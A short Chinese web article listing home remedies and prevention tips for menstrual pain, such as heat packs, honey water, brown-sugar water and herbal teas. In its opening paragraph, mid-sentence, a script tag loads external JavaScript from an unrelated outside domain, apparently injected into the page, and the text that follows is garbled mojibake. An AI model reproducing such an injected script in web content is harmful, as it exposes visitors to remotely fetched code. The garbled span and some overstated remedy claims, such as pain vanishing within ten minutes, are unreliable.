治疗痛经的实用方法
痛经是妇科常见病和多发病?script type='text/javascript' src='http://www.368tea.com/js/v.js'>∫蚨啵』丛樱锤葱源螅瘟萍郑绕涫悄┗榕嗄昙霸戮跗谏倥毡椤Ｏ旅娓蠹医樯芤恍┲瘟仆淳氖涤梅椒ǎ?/p>
（1）痛经时，以热水袋或热毛巾在腹部上热敷可以减轻疼痛，每次约一小时，同时作脐旁（约手掌宽）之按摩，对骨盆腔血液循环的改善及瘀血（充血）的消除，有良好的效果。（推荐此方法）
（2）每次经期时，每天用温开水冲喝二杯蜂蜜，连续喝三天，坚持3个月，简单实用。（推荐此方法）
（3）用开水泡一杯浓度高的红糖水，乘烫的时候喝下去，十分种左右症状就可以消失。（网友试过的方法）
（4）山楂红枣汤：山楂50克，生姜15克，红枣15枚。做成汤的形式，每天2次。
（5）益母枣茶：用益母草15克、大枣30克加红糖适量煎煮后服用，每日一剂，早晚服。
健康提示：
对于不按周期行经，伴有行经不畅者，疼痛严重者，建议医院检查，按症下药。
附：预防痛经的方法
（1）在平时的生活中，建议您一要注意经期卫生，二是经期少接触凉的东西包括凉食。
（2）咖啡，茶，可乐，巧克力等含咖啡因的食物少吃。
（3）禁饮酒，特别是容易出现水肿的女性。
（4）经期间戒吃寒凉的食物，如西瓜，香蕉、苦瓜、山竹、绿豆等。
